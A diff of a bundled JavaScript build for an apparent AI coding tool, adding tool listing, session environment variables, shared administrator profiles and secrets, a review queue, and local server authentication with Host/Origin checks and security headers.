  } else if (message.type === "cancelIndexing") {
@@ -65113,6 +66041,10 @@ function wireChatBridge(services) {
65113
66041
  void handleSaveEmbedder(message.profileId, message.model, message.dimensions, message.indexName, message.indexPrefix);
65114
66042
  } else if (message.type === "requestEmbedderModels") {
65115
66043
  void handleRequestEmbedderModels(message.profileId);
66044
+ } else if (message.type === "openWalkthrough") {
66045
+ void ui.openWalkthrough?.();
66046
+ } else if (message.type === "requestTools") {
66047
+ void postTools();
65116
66048
  } else if (message.type === "requestSchedules") {
65117
66049
  void postSchedules();
65118
66050
  } else if (message.type === "saveSchedule") {
@@ -65129,6 +66061,21 @@ function wireChatBridge(services) {
65129
66061
  ...message.maxConsultations !== void 0 ? { maxConsultations: message.maxConsultations } : {}
65130
66062
  };
65131
66063
  postExpertSpend();
66064
+ } else if (message.type === "setExpertKeepAlive") {
66065
+ void configManager.load().then(async ({ config: config2 }) => {
66066
+ await configManager.save("user", { ...config2, expert: { ...config2.expert, keepAlive: message.enabled } });
66067
+ await postExpert({ redetect: false });
66068
+ }).catch((error51) => post({ type: "error", message: String(error51) }));
66069
+ } else if (message.type === "measureExpertCost") {
66070
+ void handleMeasureExpertCost();
66071
+ } else if (message.type === "clearExpertPricing") {
66072
+ void configManager.load().then(async ({ config: config2 }) => {
66073
+ const expert = { ...config2.expert };
66074
+ delete expert.pricing;
66075
+ delete expert.reportsCost;
66076
+ await configManager.save("user", { ...config2, expert });
66077
+ await postExpert({ redetect: false });
66078
+ }).catch((error51) => post({ type: "error", message: String(error51) }));
65132
66079
  } else if (message.type === "assessJunior") {
65133
66080
  void handleAssessJunior();
65134
66081
  } else if (message.type === "clearAssessment") {
@@ -65266,16 +66213,42 @@ ${entry.content}`);
65266
66213
  function allToolsForPicker() {
65267
66214
  return currentToolRegistry(void 0, void 0, void 0, void 0, false).list().filter((tool) => !NEVER_AVAILABLE_TO_SCHEDULES.includes(tool.name)).map((tool) => ({ name: tool.name, description: tool.description, group: tool.group })).sort((a, b) => a.name.localeCompare(b.name));
65268
66215
  }
66216
+ async function postTools() {
66217
+ const { config: config2 } = await configManager.load();
66218
+ const dispatcher = config2.retrieval?.dispatcher === true;
66219
+ const registry2 = currentToolRegistry(void 0, void 0, void 0, void 0, dispatcher);
66220
+ const advertised = new Set(registry2.promptList().map((tool) => tool.name));
66221
+ const pythonNames = new Set(python.tools().map((tool) => tool.name));
66222
+ const mcpNames = new Set(mcp.enabledTools().map((tool) => tool.name));
66223
+ post({
66224
+ type: "tools",
66225
+ dispatcher,
66226
+ tools: registry2.list().map((tool) => {
66227
+ const server = mcpNames.has(tool.name) ? parseNamespacedToolName(tool.name)?.serverName : void 0;
66228
+ const source = pythonNames.has(tool.name) ? "python" : mcpNames.has(tool.name) ? "mcp" : "built-in";
66229
+ return {
66230
+ name: tool.name,
66231
+ description: tool.description,
66232
+ group: tool.group,
66233
+ source,
66234
+ ...server !== void 0 ? { server } : {},
66235
+ advertised: advertised.has(tool.name)
66236
+ };
66237
+ }).sort((a, b) => a.name.localeCompare(b.name))
66238
+ });
66239
+ }
65269
66240
  async function loadSchedules() {
65270
66241
  const { config: config2 } = await configManager.load();
65271
66242
  return config2.schedules ?? {};
65272
66243
  }
65273
66244
  async function postSchedules() {
66245
+ await refreshSkills();
65274
66246
  const schedules = await loadSchedules();
65275
66247
  post({
65276
66248
  type: "schedules",
65277
66249
  schedules: Object.values(schedules).sort((a, b) => a.name.localeCompare(b.name)),
65278
66250
  tools: allToolsForPicker(),
66251
+ skills: skills.map((skill) => ({ name: skill.name, description: skill.description })),
65279
66252
  ...runningScheduleId !== void 0 ? { runningId: runningScheduleId } : {},
65280
66253
  scheduler: {
65281
66254
  running: scheduleTimer !== void 0,
@@ -65572,6 +66545,7 @@ ${entry.content}`);
65572
66545
  clearTimeout(docsReindexTimer);
65573
66546
  if (scheduleTimer !== void 0)
65574
66547
  clearInterval(scheduleTimer);
66548
+ stopKeepAlive();
65575
66549
  unsubscribe();
65576
66550
  }
65577
66551
  };
@@ -66030,7 +67004,10 @@ var executeCommandTool = {
66030
67004
  parametersSchema: paramsSchema10,
66031
67005
  async execute(params, context) {
66032
67006
  const cwd = params.cwd !== void 0 ? params.cwd : context.workspaceRoot;
66033
- const proc = context.terminal.run(params.command, { cwd });
67007
+ const proc = context.terminal.run(params.command, {
67008
+ cwd,
67009
+ ...context.sessionEnv !== void 0 ? { env: context.sessionEnv } : {}
67010
+ });
66034
67011
  let output = "";
66035
67012
  let truncated = false;
66036
67013
  proc.onData((chunk) => {
@@ -66167,10 +67144,10 @@ function readSmall(raw, params) {
66167
67144
  const end = params.limit !== void 0 ? start + params.limit : lines.length;
66168
67145
  return number4(lines.slice(start, end), start + 1);
66169
67146
  }
66170
- async function readLarge(fs20, realPath, params, size) {
67147
+ async function readLarge(fs24, realPath, params, size) {
66171
67148
  const human = formatBytes(size);
66172
67149
  if (params.tail !== void 0) {
66173
- const part = await readTail(fs20, realPath, size, params.tail);
67150
+ const part = await readTail(fs24, realPath, size, params.tail);
66174
67151
  return [
66175
67152
  `${human} file \u2014 last ${String(part.lines.length)} lines.`,
66176
67153
  /*
@@ -66185,7 +67162,7 @@ async function readLarge(fs20, realPath, params, size) {
66185
67162
  }
66186
67163
  if (params.offset !== void 0) {
66187
67164
  const limit = params.limit ?? DEFAULT_LARGE_LIMIT;
66188
- const part = await readLineWindow(fs20, realPath, size, params.offset, limit);
67165
+ const part = await readLineWindow(fs24, realPath, size, params.offset, limit);
66189
67166
  const shown = part.lines.length;
66190
67167
  return [
66191
67168
  `${human} file \u2014 lines ${String(params.offset)}\u2013${String(params.offset + shown - 1)}${part.hasMoreAfter ? ", more follows" : " (end of file)"}.`,
@@ -66193,7 +67170,7 @@ async function readLarge(fs20, realPath, params, size) {
66193
67170
  number4(part.lines, params.offset)
66194
67171
  ].join("\n");
66195
67172
  }
66196
- const total = await countLines(fs20, realPath, size);
67173
+ const total = await countLines(fs24, realPath, size);
66197
67174
  return [
66198
67175
  `${realPathName(realPath)} is ${human} (${total.toLocaleString()} lines) \u2014 too large to read at once.`,
66199
67176
  "",
@@ -66382,9 +67359,167 @@ function createDefaultToolRegistry() {
66382
67359
  return registry2;
66383
67360
  }
66384
67361
 
67362
+ // src/sharedConfig.ts
67363
+ var EMPTY = { variables: [], adminIds: [], profiles: [] };
67364
+ var SharedConfigStore = class {
67365
+ constructor(filePath) {
67366
+ this.filePath = filePath;
67367
+ }
67368
+ filePath;
67369
+ cache;
67370
+ async load() {
67371
+ if (this.cache !== void 0) return this.cache;
67372
+ try {
67373
+ const raw = JSON.parse(await fs17.readFile(this.filePath, "utf8"));
67374
+ const variables = sessionVariablesSchema.safeParse(raw["variables"]);
67375
+ const adminIds = Array.isArray(raw["adminIds"]) ? raw["adminIds"].filter((id) => typeof id === "string") : [];
67376
+ const profiles = external_exports.array(providerProfileSchema).safeParse(raw["profiles"]);
67377
+ const defaultProfileId = typeof raw["defaultProfileId"] === "string" ? raw["defaultProfileId"] : void 0;
67378
+ const defaultProgrammingProfileId = typeof raw["defaultProgrammingProfileId"] === "string" ? raw["defaultProgrammingProfileId"] : void 0;
67379
+ this.cache = {
67380
+ variables: variables.success ? variables.data : [],
67381
+ adminIds,
67382
+ profiles: profiles.success ? profiles.data : [],
67383
+ ...defaultProfileId !== void 0 ? { defaultProfileId } : {},
67384
+ ...defaultProgrammingProfileId !== void 0 ? { defaultProgrammingProfileId } : {}
67385
+ };
67386
+ } catch {
67387
+ this.cache = { ...EMPTY };
67388
+ }
67389
+ return this.cache;
67390
+ }
67391
+ async save(next) {
67392
+ const current = await this.load();
67393
+ const merged = { ...current, ...next };
67394
+ await fs17.mkdir(path22.dirname(this.filePath), { recursive: true });
67395
+ const temporary = `${this.filePath}.tmp`;
67396
+ await fs17.writeFile(temporary, JSON.stringify(merged, null, 2), { encoding: "utf8", mode: 384 });
67397
+ await fs17.rename(temporary, this.filePath);
67398
+ this.cache = merged;
67399
+ return merged;
67400
+ }
67401
+ };
67402
+
67403
+ // src/server.ts
67404
+ import fs22 from "node:fs/promises";
67405
+ import {
67406
+ createServer
67407
+ } from "node:http";
67408
+ import path27 from "node:path";
67409
+
67410
+ // src/identity.ts
67411
+ import crypto5 from "node:crypto";
67412
+ var SingleUserIdentity = class _SingleUserIdentity {
67413
+ describe = "single user (local)";
67414
+ static PRINCIPAL = { id: "local", displayName: "Local user" };
67415
+ /** Long-lived, minted per server run, only ever sent in an `Authorization` header. */
67416
+ sessionToken = crypto5.randomBytes(32).toString("base64url");
67417
+ /**
67418
+ * Single-use and short-lived, because it travels in the launch URL's fragment where it
67419
+ * can end up in shell history or a terminal scrollback (§14).
67420
+ */
67421
+ handoffToken = crypto5.randomBytes(32).toString("base64url");
67422
+ handoffExpiresAt = Date.now() + 1e4;
67423
+ get launchToken() {
67424
+ if (this.handoffToken === void 0) throw new Error("handoff token already consumed");
67425
+ return this.handoffToken;
67426
+ }
67427
+ /**
67428
+ * Exchanges the handoff token for the session token, once.
67429
+ *
67430
+ * Cleared on the first attempt whether or not it matched: a wrong guess is either a bug
67431
+ * or an attack, and in both cases the right answer is that this token is now spent.
67432
+ */
67433
+ redeemHandoff(presented) {
67434
+ const expected = this.handoffToken;
67435
+ const expiresAt = this.handoffExpiresAt;
67436
+ this.handoffToken = void 0;
67437
+ if (expected === void 0 || Date.now() > expiresAt) return void 0;
67438
+ return timingSafeEquals(presented, expected) ? this.sessionToken : void 0;
67439
+ }
67440
+ async authenticate(request) {
67441
+ const header = request.headers.authorization;
67442
+ if (header === void 0 || !header.startsWith("Bearer ")) return void 0;
67443
+ return timingSafeEquals(header.slice("Bearer ".length), this.sessionToken) ? _SingleUserIdentity.PRINCIPAL : void 0;
67444
+ }
67445
+ };
67446
+ function timingSafeEquals(a, b) {
67447
+ const left = Buffer.from(a);
67448
+ const right = Buffer.from(b);
67449
+ if (left.length !== right.length) return false;
67450
+ return crypto5.timingSafeEqual(left, right);
67451
+ }
67452
+ function storageKeyFor(principal) {
67453
+ return crypto5.createHash("sha256").update(principal.id).digest("hex").slice(0, 32);
67454
+ }
67455
+
67456
+ // src/security.ts
67457
+ var SAFE_METHODS = /* @__PURE__ */ new Set(["GET", "HEAD", "OPTIONS"]);
67458
+ function checkRequest(request, policy, options) {
67459
+ const host = request.headers.host;
67460
+ if (host === void 0 || !policy.allowedHosts.includes(host.toLowerCase())) {
67461
+ return {
67462
+ status: 421,
67463
+ reason: `Host "${host ?? "(absent)"}" is not one this server answers to. This is what blocks DNS rebinding.`
67464
+ };
67465
+ }
67466
+ const origin = request.headers.origin;
67467
+ if (origin !== void 0 && !policy.allowedOrigins.includes(origin.toLowerCase())) {
67468
+ return { status: 403, reason: `Origin "${origin}" is not allowed.` };
67469
+ }
67470
+ const fetchSite = request.headers["sec-fetch-site"];
67471
+ if (typeof fetchSite === "string" && fetchSite !== "same-origin" && fetchSite !== "none") {
67472
+ return { status: 403, reason: `Cross-site request (Sec-Fetch-Site: ${fetchSite}) is not allowed.` };
67473
+ }
67474
+ const method = (request.method ?? "GET").toUpperCase();
67475
+ if (options.requireOrigin && !SAFE_METHODS.has(method) && origin === void 0) {
67476
+ return { status: 403, reason: `Missing Origin header on a ${method}.` };
67477
+ }
67478
+ return void 0;
67479
+ }
67480
+ function securityHeaders() {
67481
+ return {
67482
+ "Content-Security-Policy": [
67483
+ "default-src 'none'",
67484
+ "script-src 'self'",
67485
+ // The UI styles through the CSSOM rather than inline attributes, but the browser
67486
+ // build also needs a stylesheet for the page shell.
67487
+ "style-src 'self' 'unsafe-inline'",
67488
+ "img-src 'self' data:",
67489
+ "font-src 'self'",
67490
+ "connect-src 'self'",
67491
+ "frame-ancestors 'none'",
67492
+ "base-uri 'none'",
67493
+ "form-action 'none'"
67494
+ ].join("; "),
67495
+ "X-Content-Type-Options": "nosniff",
67496
+ "Referrer-Policy": "no-referrer",
67497
+ // Nothing here needs a camera, a microphone or a location.
67498
+ "Permissions-Policy": "camera=(), microphone=(), geolocation=(), interest-cohort=()",
67499
+ "Cache-Control": "no-store"
67500
+ // Deliberately no Access-Control-Allow-Origin: no other origin may read these replies.
67501
+ };
67502
+ }
67503
+ function reject(response, rejected) {
67504
+ response.writeHead(rejected.status, { "Content-Type": "text/plain", ...securityHeaders() });
67505
+ response.end(rejected.reason);
67506
+ }
67507
+ async function readJsonBody(request, maxBytes = 32 * 1024 * 1024) {
67508
+ const chunks = [];
67509
+ let total = 0;
67510
+ for await (const chunk of request) {
67511
+ const buffer = chunk;
67512
+ total += buffer.length;
67513
+ if (total > maxBytes) throw new Error("Request body too large.");
67514
+ chunks.push(buffer);
67515
+ }
67516
+ if (total === 0) return void 0;
67517
+ return JSON.parse(Buffer.concat(chunks).toString("utf8"));
67518
+ }
67519
+
66385
67520
  // src/fileSecretStore.ts
66386
- import fs17 from "node:fs/promises";
66387
- import path22 from "node:path";
67521
+ import fs18 from "node:fs/promises";
67522
+ import path23 from "node:path";
66388
67523
  var FileSecretStore = class {
66389
67524
  constructor(filePath) {
66390
67525
  this.filePath = filePath;
@@ -66396,7 +67531,7 @@ var FileSecretStore = class {
66396
67531
  async load() {
66397
67532
  if (this.cache !== void 0) return this.cache;
66398
67533
  try {
66399
- const raw = await fs17.readFile(this.filePath, "utf8");
67534
+ const raw = await fs18.readFile(this.filePath, "utf8");
66400
67535
  const parsed = JSON.parse(raw);
66401
67536
  this.cache = typeof parsed === "object" && parsed !== null ? parsed : {};
66402
67537
  } catch {
@@ -66408,10 +67543,10 @@ var FileSecretStore = class {
66408
67543
  this.queue = this.queue.then(async () => {
66409
67544
  const secrets = await this.load();
66410
67545
  mutate(secrets);
66411
- await fs17.mkdir(path22.dirname(this.filePath), { recursive: true });
67546
+ await fs18.mkdir(path23.dirname(this.filePath), { recursive: true });
66412
67547
  const temp = `${this.filePath}.${process.pid}.tmp`;
66413
- await fs17.writeFile(temp, JSON.stringify(secrets, null, 2), { encoding: "utf8", mode: 384 });
66414
- await fs17.rename(temp, this.filePath);
67548
+ await fs18.writeFile(temp, JSON.stringify(secrets, null, 2), { encoding: "utf8", mode: 384 });
67549
+ await fs18.rename(temp, this.filePath);
66415
67550
  });
66416
67551
  return this.queue;
66417
67552
  }
@@ -66440,7 +67575,233 @@ var FileSecretStore = class {
66440
67575
  }
66441
67576
  };
66442
67577
 
67578
+ // src/reviewQueue.ts
67579
+ import crypto6 from "node:crypto";
67580
+ import fs19 from "node:fs/promises";
67581
+ import path24 from "node:path";
67582
+ var ReviewQueue = class {
67583
+ constructor(filePath) {
67584
+ this.filePath = filePath;
67585
+ }
67586
+ filePath;
67587
+ cache;
67588
+ async load() {
67589
+ if (this.cache !== void 0) return this.cache;
67590
+ try {
67591
+ const parsed = JSON.parse(await fs19.readFile(this.filePath, "utf8"));
67592
+ this.cache = Array.isArray(parsed) ? parsed : [];
67593
+ } catch {
67594
+ this.cache = [];
67595
+ }
67596
+ return this.cache;
67597
+ }
67598
+ async persist(items) {
67599
+ this.cache = items;
67600
+ await fs19.mkdir(path24.dirname(this.filePath), { recursive: true });
67601
+ const temporary = `${this.filePath}.tmp`;
67602
+ await fs19.writeFile(temporary, JSON.stringify(items, null, 2), { encoding: "utf8", mode: 384 });
67603
+ await fs19.rename(temporary, this.filePath);
67604
+ }
67605
+ async list() {
67606
+ return [...await this.load()];
67607
+ }
67608
+ async pending() {
67609
+ return (await this.load()).filter((item) => item.status === "pending");
67610
+ }
67611
+ async submit(request) {
67612
+ const items = await this.load();
67613
+ const superseded = items.findIndex(
67614
+ (item) => item.status === "pending" && item.kind === request.kind && item.name === request.name
67615
+ );
67616
+ const queued = {
67617
+ ...request,
67618
+ id: crypto6.randomUUID(),
67619
+ submittedAt: Date.now(),
67620
+ status: "pending"
67621
+ };
67622
+ if (superseded === -1) items.push(queued);
67623
+ else items[superseded] = queued;
67624
+ await this.persist(items);
67625
+ return queued;
67626
+ }
67627
+ async decide(id, decision) {
67628
+ const items = await this.load();
67629
+ const item = items.find((candidate) => candidate.id === id);
67630
+ if (item === void 0 || item.status !== "pending") return void 0;
67631
+ item.status = decision.approved ? "approved" : "rejected";
67632
+ item.decidedBy = decision.by;
67633
+ item.decidedAt = Date.now();
67634
+ if (decision.reason !== void 0 && decision.reason.length > 0) item.reason = decision.reason;
67635
+ await this.persist(items);
67636
+ return item;
67637
+ }
67638
+ /**
67639
+ * Drops decided items older than the cutoff.
67640
+ *
67641
+ * Kept for a while rather than deleted on decision: "who approved this and when" is the question
67642
+ * a review queue exists to be able to answer afterwards, and the audit log records the decision
67643
+ * but not the source that was read.
67644
+ */
67645
+ async prune(olderThanMs) {
67646
+ const cutoff = Date.now() - olderThanMs;
67647
+ const items = await this.load();
67648
+ const kept = items.filter((item) => item.status === "pending" || (item.decidedAt ?? 0) > cutoff);
67649
+ if (kept.length !== items.length) await this.persist(kept);
67650
+ }
67651
+ };
67652
+
67653
+ // src/sharedProfiles.ts
67654
+ var SHARED_PREFIX = "shared:";
67655
+ function isSharedProfileId(id) {
67656
+ return id.startsWith(SHARED_PREFIX);
67657
+ }
67658
+ function toSharedProfileId(id) {
67659
+ return `${SHARED_PREFIX}${id}`;
67660
+ }
67661
+ function isSharedSecretRef(ref) {
67662
+ return ref.startsWith(`profile:${SHARED_PREFIX}`);
67663
+ }
67664
+ function presentSharedProfiles(profiles) {
67665
+ return profiles.map((profile) => ({
67666
+ ...profile,
67667
+ id: toSharedProfileId(profile.id),
67668
+ ...profile.auth.type === "apiKey" && profile.auth.apiKeyRef !== void 0 ? { auth: { ...profile.auth, apiKeyRef: `profile:${toSharedProfileId(profile.id)}:apiKey` } } : {}
67669
+ }));
67670
+ }
67671
+ var SharedProfileConfigStore = class {
67672
+ constructor(inner, shared) {
67673
+ this.inner = inner;
67674
+ this.shared = shared;
67675
+ }
67676
+ inner;
67677
+ shared;
67678
+ async read(scope) {
67679
+ const raw = await this.inner.read(scope);
67680
+ if (scope !== "user") return raw;
67681
+ const shared = this.shared();
67682
+ const presented = presentSharedProfiles(shared.profiles);
67683
+ if (presented.length === 0) return raw;
67684
+ let parsed;
67685
+ try {
67686
+ parsed = raw === void 0 ? {} : JSON.parse(raw);
67687
+ } catch {
67688
+ return raw;
67689
+ }
67690
+ const own = Array.isArray(parsed["profiles"]) ? parsed["profiles"] : [];
67691
+ const merged = [...presented, ...own.filter((profile) => !isSharedProfileId(profile.id))];
67692
+ const activeId = typeof parsed["activeProfileId"] === "string" ? parsed["activeProfileId"] : void 0;
67693
+ const resolvedActive = activeId !== void 0 && merged.some((profile) => profile.id === activeId) ? activeId : shared.defaultProfileId !== void 0 && merged.some((profile) => profile.id === toSharedProfileId(shared.defaultProfileId ?? "")) ? toSharedProfileId(shared.defaultProfileId) : activeId;
67694
+ const ownProgramming = typeof parsed["programmingProfileId"] === "string" ? parsed["programmingProfileId"] : void 0;
67695
+ const sharedProgramming = shared.defaultProgrammingProfileId !== void 0 ? toSharedProfileId(shared.defaultProgrammingProfileId) : void 0;
67696
+ const resolvedProgramming = ownProgramming !== void 0 && merged.some((profile) => profile.id === ownProgramming) ? ownProgramming : sharedProgramming !== void 0 && merged.some((profile) => profile.id === sharedProgramming) ? sharedProgramming : ownProgramming;
67697
+ return JSON.stringify({
67698
+ ...parsed,
67699
+ profiles: merged,
67700
+ ...resolvedActive !== void 0 ? { activeProfileId: resolvedActive } : {},
67701
+ ...resolvedProgramming !== void 0 ? { programmingProfileId: resolvedProgramming } : {}
67702
+ });
67703
+ }
67704
+ async write(scope, contents) {
67705
+ if (scope !== "user") return this.inner.write(scope, contents);
67706
+ let parsed;
67707
+ try {
67708
+ parsed = JSON.parse(contents);
67709
+ } catch {
67710
+ return this.inner.write(scope, contents);
67711
+ }
67712
+ if (Array.isArray(parsed["profiles"])) {
67713
+ parsed["profiles"] = parsed["profiles"].filter(
67714
+ (profile) => !isSharedProfileId(profile.id)
67715
+ );
67716
+ }
67717
+ return this.inner.write(scope, JSON.stringify(parsed, null, 2));
67718
+ }
67719
+ watch(scope, onChange) {
67720
+ return this.inner.watch(scope, onChange);
67721
+ }
67722
+ };
67723
+ var RoutedSecretStore = class {
67724
+ constructor(own, shared) {
67725
+ this.own = own;
67726
+ this.shared = shared;
67727
+ }
67728
+ own;
67729
+ shared;
67730
+ storeFor(key) {
67731
+ return isSharedSecretRef(key) ? this.shared : this.own;
67732
+ }
67733
+ async get(key) {
67734
+ return this.storeFor(key).get(key);
67735
+ }
67736
+ async set(key, value) {
67737
+ return this.storeFor(key).set(key, value);
67738
+ }
67739
+ async delete(key) {
67740
+ return this.storeFor(key).delete(key);
67741
+ }
67742
+ /**
67743
+ * Clears the user's own only.
67744
+ *
67745
+ * "Clear all stored secrets" is offered to every user, and an administrator's key is not theirs
67746
+ * to destroy — one person tidying up would otherwise break the gateway for everybody. An
67747
+ * administrator clears the shared ones from the shared store.
67748
+ */
67749
+ async clear() {
67750
+ return this.own.clear();
67751
+ }
67752
+ backendName() {
67753
+ return this.own.backendName();
67754
+ }
67755
+ };
67756
+
67757
+ // src/userVariables.ts
67758
+ import fs20 from "node:fs/promises";
67759
+ import { readFileSync } from "node:fs";
67760
+ import path25 from "node:path";
67761
+ var UserVariableStore = class {
67762
+ constructor(filePath) {
67763
+ this.filePath = filePath;
67764
+ }
67765
+ filePath;
67766
+ /**
67767
+ * Synchronous, because it is read on the path that builds a command's environment and an
67768
+ * `await` there would make every tool call wait on a file. It is a few hundred bytes.
67769
+ */
67770
+ read() {
67771
+ return readVariablesFile(this.filePath);
67772
+ }
67773
+ async save(variables) {
67774
+ const parsed = sessionVariablesSchema.parse(variables);
67775
+ await fs20.mkdir(path25.dirname(this.filePath), { recursive: true });
67776
+ const temporary = `${this.filePath}.tmp`;
67777
+ await fs20.writeFile(temporary, JSON.stringify({ variables: parsed }, null, 2), {
67778
+ encoding: "utf8",
67779
+ mode: 384
67780
+ });
67781
+ await fs20.rename(temporary, this.filePath);
67782
+ return parsed;
67783
+ }
67784
+ };
67785
+ function userVariableStoreFor(dataDir, principal) {
67786
+ return new UserVariableStore(userVariablesPath(path25.join(dataDir, "users", storageKeyFor(principal))));
67787
+ }
67788
+ function userVariablesPath(userDir) {
67789
+ return path25.join(userDir, "variables.json");
67790
+ }
67791
+ function readVariablesFile(filePath) {
67792
+ try {
67793
+ const raw = JSON.parse(readFileSync(filePath, "utf8"));
67794
+ const parsed = sessionVariablesSchema.safeParse(raw["variables"]);
67795
+ return parsed.success ? parsed.data : [];
67796
+ } catch {
67797
+ return [];
67798
+ }
67799
+ }
67800
+
66443
67801
  // src/session.ts
67802
+ import { watch as fsWatch } from "node:fs";
67803
+ import fs21 from "node:fs/promises";
67804
+ import path26 from "node:path";
66444
67805
  var FileConfigStore = class {
66445
67806
  constructor(userConfigPath, workspaceRoot) {
66446
67807
  this.userConfigPath = userConfigPath;
@@ -66456,7 +67817,7 @@ var FileConfigStore = class {
66456
67817
  const filePath = this.pathFor(scope);
66457
67818
  if (filePath === void 0) return void 0;
66458
67819
  try {
66459
- return await fs18.readFile(filePath, "utf8");
67820
+ return await fs21.readFile(filePath, "utf8");
66460
67821
  } catch (error51) {
66461
67822
  if (error51.code === "ENOENT") return void 0;
66462
67823
  throw error51;
@@ -66465,8 +67826,8 @@ var FileConfigStore = class {
66465
67826
  async write(scope, contents) {
66466
67827
  const filePath = this.pathFor(scope);
66467
67828
  if (filePath === void 0) throw new Error(`Cannot write ${scope} config: no workspace is open`);
66468
- await fs18.mkdir(path23.dirname(filePath), { recursive: true });
66469
- await fs18.writeFile(filePath, contents, { encoding: "utf8", mode: 384 });
67829
+ await fs21.mkdir(path26.dirname(filePath), { recursive: true });
67830
+ await fs21.writeFile(filePath, contents, { encoding: "utf8", mode: 384 });
66470
67831
  }
66471
67832
  watch(scope, onChange) {
66472
67833
  const filePath = this.pathFor(scope);
@@ -66474,8 +67835,8 @@ var FileConfigStore = class {
66474
67835
  };
66475
67836
  let watcher;
66476
67837
  try {
66477
- watcher = fsWatch(path23.dirname(filePath), (_event, filename) => {
66478
- if (filename === path23.basename(filePath)) onChange();
67838
+ watcher = fsWatch(path26.dirname(filePath), (_event, filename) => {
67839
+ if (filename === path26.basename(filePath)) onChange();
66479
67840
  });
66480
67841
  } catch {
66481
67842
  }
@@ -66490,7 +67851,7 @@ var FileWorkspaceState = class {
66490
67851
  values = {};
66491
67852
  async load() {
66492
67853
  try {
66493
- const parsed = JSON.parse(await fs18.readFile(this.filePath, "utf8"));
67854
+ const parsed = JSON.parse(await fs21.readFile(this.filePath, "utf8"));
66494
67855
  if (typeof parsed === "object" && parsed !== null) this.values = parsed;
66495
67856
  } catch {
66496
67857
  this.values = {};
@@ -66502,8 +67863,8 @@ var FileWorkspaceState = class {
66502
67863
  async set(key, value) {
66503
67864
  if (value === void 0) delete this.values[key];
66504
67865
  else this.values[key] = value;
66505
- await fs18.mkdir(path23.dirname(this.filePath), { recursive: true });
66506
- await fs18.writeFile(this.filePath, JSON.stringify(this.values, null, 2), { encoding: "utf8", mode: 384 });
67866
+ await fs21.mkdir(path26.dirname(this.filePath), { recursive: true });
67867
+ await fs21.writeFile(this.filePath, JSON.stringify(this.values, null, 2), { encoding: "utf8", mode: 384 });
66507
67868
  }
66508
67869
  };
66509
67870
  function createBrowserUi(workspaceRoot, post) {
@@ -66539,14 +67900,14 @@ function createBrowserUi(workspaceRoot, post) {
66539
67900
  if (found.length >= limit || depth > 12) return;
66540
67901
  let entries;
66541
67902
  try {
66542
- entries = await fs18.readdir(dir, { withFileTypes: true });
67903
+ entries = await fs21.readdir(dir, { withFileTypes: true });
66543
67904
  } catch {
66544
67905
  return;
66545
67906
  }
66546
67907
  for (const entry of entries) {
66547
67908
  if (found.length >= limit) return;
66548
67909
  if (entry.name.startsWith(".") && entry.name !== ".env") continue;
66549
- const full = path23.join(dir, entry.name);
67910
+ const full = path26.join(dir, entry.name);
66550
67911
  if (entry.isDirectory()) {
66551
67912
  if (!skip.has(entry.name)) await walk(full, depth + 1);
66552
67913
  } else if (needle.length === 0 || entry.name.toLowerCase().includes(needle)) {
@@ -66560,20 +67921,50 @@ function createBrowserUi(workspaceRoot, post) {
66560
67921
  };
66561
67922
  }
66562
67923
  async function createSession(options) {
66563
- const userDir = path23.join(options.dataDir, "users", storageKeyFor(options.principal));
66564
- await fs18.mkdir(userDir, { recursive: true, mode: 448 });
66565
- const workspaceState = new FileWorkspaceState(path23.join(userDir, "workspace-state.json"));
67924
+ const userDir = path26.join(options.dataDir, "users", storageKeyFor(options.principal));
67925
+ await fs21.mkdir(userDir, { recursive: true, mode: 448 });
67926
+ const variableStore = new UserVariableStore(userVariablesPath(userDir));
67927
+ const userVariables = () => variableStore.read();
67928
+ const workspaceState = new FileWorkspaceState(path26.join(userDir, "workspace-state.json"));
66566
67929
  await workspaceState.load();
66567
67930
  const services = {
66568
67931
  transport: options.transport,
66569
- secrets: new FileSecretStore(path23.join(userDir, "secrets.json")),
66570
- configStore: new FileConfigStore(path23.join(userDir, "config.json"), options.workspaceRoot),
67932
+ /*
67933
+ * A shared profile's API key belongs to the administrator and lives beside the shared config;
67934
+ * everything else is this user's. Routed by the reference, which is all a secret store gets.
67935
+ */
67936
+ secrets: options.sharedSecrets === void 0 ? new FileSecretStore(path26.join(userDir, "secrets.json")) : new RoutedSecretStore(new FileSecretStore(path26.join(userDir, "secrets.json")), options.sharedSecrets),
67937
+ configStore: options.sharedProfiles === void 0 ? new FileConfigStore(path26.join(userDir, "config.json"), options.workspaceRoot) : new SharedProfileConfigStore(
67938
+ new FileConfigStore(path26.join(userDir, "config.json"), options.workspaceRoot),
67939
+ options.sharedProfiles
67940
+ ),
66571
67941
  workspaceState,
66572
67942
  ui: createBrowserUi(options.workspaceRoot, options.logSink),
66573
67943
  workspaceRoot: options.workspaceRoot,
66574
67944
  storageDir: userDir,
66575
67945
  ripgrepPath: options.ripgrepPath,
66576
- logSink: options.logSink
67946
+ logSink: options.logSink,
67947
+ /*
67948
+ * Served from this origin, which is what `img-src 'self'` in the CSP permits and the whole
67949
+ * reason the diagrams are copied into the client bundle rather than fetched. A relative base
67950
+ * also survives whatever port the server happened to bind.
67951
+ */
67952
+ guideMediaBase: "/guide",
67953
+ /*
67954
+ * Offered here and nowhere else. A shared server is where "a cheap model chats, a good one
67955
+ * writes the code" is worth configuring — and where an administrator can set a default for
67956
+ * people who have not chosen.
67957
+ */
67958
+ allowProgrammingProfile: true,
67959
+ ...options.submitForReview !== void 0 ? { submitForReview: options.submitForReview } : {},
67960
+ /*
67961
+ * Resolved per read, so both halves stay live — an administrator's edit and the user's own
67962
+ * each reach the next command rather than the next session.
67963
+ *
67964
+ * The administrator's win. That is a precedence rule and not a secrecy one: everything a
67965
+ * session spawns runs as the service account, so another user's agent can read these.
67966
+ */
67967
+ sessionEnv: () => toEnvironment(resolveSessionVariables(options.adminVariables?.() ?? [], userVariables()))
66577
67968
  };
66578
67969
  new Logger({ level: "debug", sink: options.logSink }).info(
66579
67970
  `session for ${options.principal.displayName} \u2192 ${userDir}`
@@ -66585,21 +67976,61 @@ async function createSession(options) {
66585
67976
  var CLIENT_ASSETS = {
66586
67977
  "/": "index.html",
66587
67978
  "/index.html": "index.html",
67979
+ /*
67980
+ * The administrator's URL. The same page — the client asks the server what it may do rather
67981
+ * than being a second bundle — but a distinct address, because that is what a proxy rule can
67982
+ * be written against.
67983
+ *
67984
+ * **Reaching it is assumed to be restricted upstream.** Light Code does not re-derive who may
67985
+ * be here; the proxy, the firewall or a separate listener decides. The consequence, stated
67986
+ * once so nobody has to infer it: anyone who can reach `/admin` directly is an administrator,
67987
+ * so exposing the port without the proxy in front exposes this with it.
67988
+ */
67989
+ "/admin": "index.html",
67990
